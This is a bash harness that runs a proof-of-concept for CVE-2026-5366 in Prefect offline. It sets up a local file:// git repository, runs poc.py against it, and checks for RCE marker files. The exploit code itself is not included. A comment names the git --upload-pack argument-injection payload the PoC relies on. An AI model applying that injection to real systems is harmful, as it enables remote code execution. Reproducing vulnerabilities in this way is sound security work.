#!/usr/bin/env bash
#
# run_offline.sh: network-free driver for the CVE-2026-5366 PoC.
#
# Builds a local bare git repo (served over file://), points poc.py at it via
# $POC_TARGET_REPO, runs the PoC, then cleans up. No GitHub / network needed.
# The file:// transport makes git spawn the upload-pack helper, which is what
# the --upload-pack=<program> payload abuses on the fetch path.
#
# Usage:
#   ./run_offline.sh                 # uses the python on PATH (needs prefect)
#   PYTHON=.venv-vuln/bin/python ./run_offline.sh
#
set -euo pipefail

HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PYTHON="${PYTHON:-python3}"
# resolve to an absolute path: we cd into a throwaway dir before running poc.py,
# so a relative PYTHON (e.g. .venv-vuln/bin/python) would no longer resolve.
if [[ "$PYTHON" == */* ]]; then
  # path-like: make it absolute relative to the current dir
  PYTHON="$(cd "$(dirname "$PYTHON")" 2>/dev/null && pwd)/$(basename "$PYTHON")"
else
  # bare name: look it up on PATH
  PYTHON="$(command -v "$PYTHON" || true)"
fi
if [[ ! -x "$PYTHON" ]]; then
  echo "ERROR: python interpreter not found (set \$PYTHON to a valid path)" >&2
  exit 1
fi

WORKDIR="$(mktemp -d "${TMPDIR:-/tmp}/prefect-poc-offline.XXXXXX")"
SRC="$WORKDIR/src"
BARE="$WORKDIR/repo.git"

cleanup() {
  rm -rf "$WORKDIR"
}
trap cleanup EXIT

echo "[*] Building local source repo at $SRC"
git init -q -b main "$SRC"
git -C "$SRC" -c user.email=poc@example.com -c user.name=poc \
    commit -q --allow-empty -m "initial commit for PoC"

echo "[*] Creating bare repo (file:// target) at $BARE"
git clone -q --bare "$SRC" "$BARE"

export POC_TARGET_REPO="file://$BARE"
echo "[*] POC_TARGET_REPO=$POC_TARGET_REPO"
echo

# Run the PoC from a throwaway dir so clone destinations land in $WORKDIR.
cd "$WORKDIR"
"$PYTHON" "$HERE/poc.py" || true

echo
echo "[*] Offline run complete. Markers (if any):"
# poc.py writes markers to tempfile.gettempdir(); ask the same interpreter
# where that is so this matches on platforms where $TMPDIR isn't /tmp (macOS).
MARKER_DIR="$("$PYTHON" -c 'import tempfile; print(tempfile.gettempdir())')"
ls -1 "$MARKER_DIR"/prefect_rce_*.txt 2>/dev/null || echo "  (none)"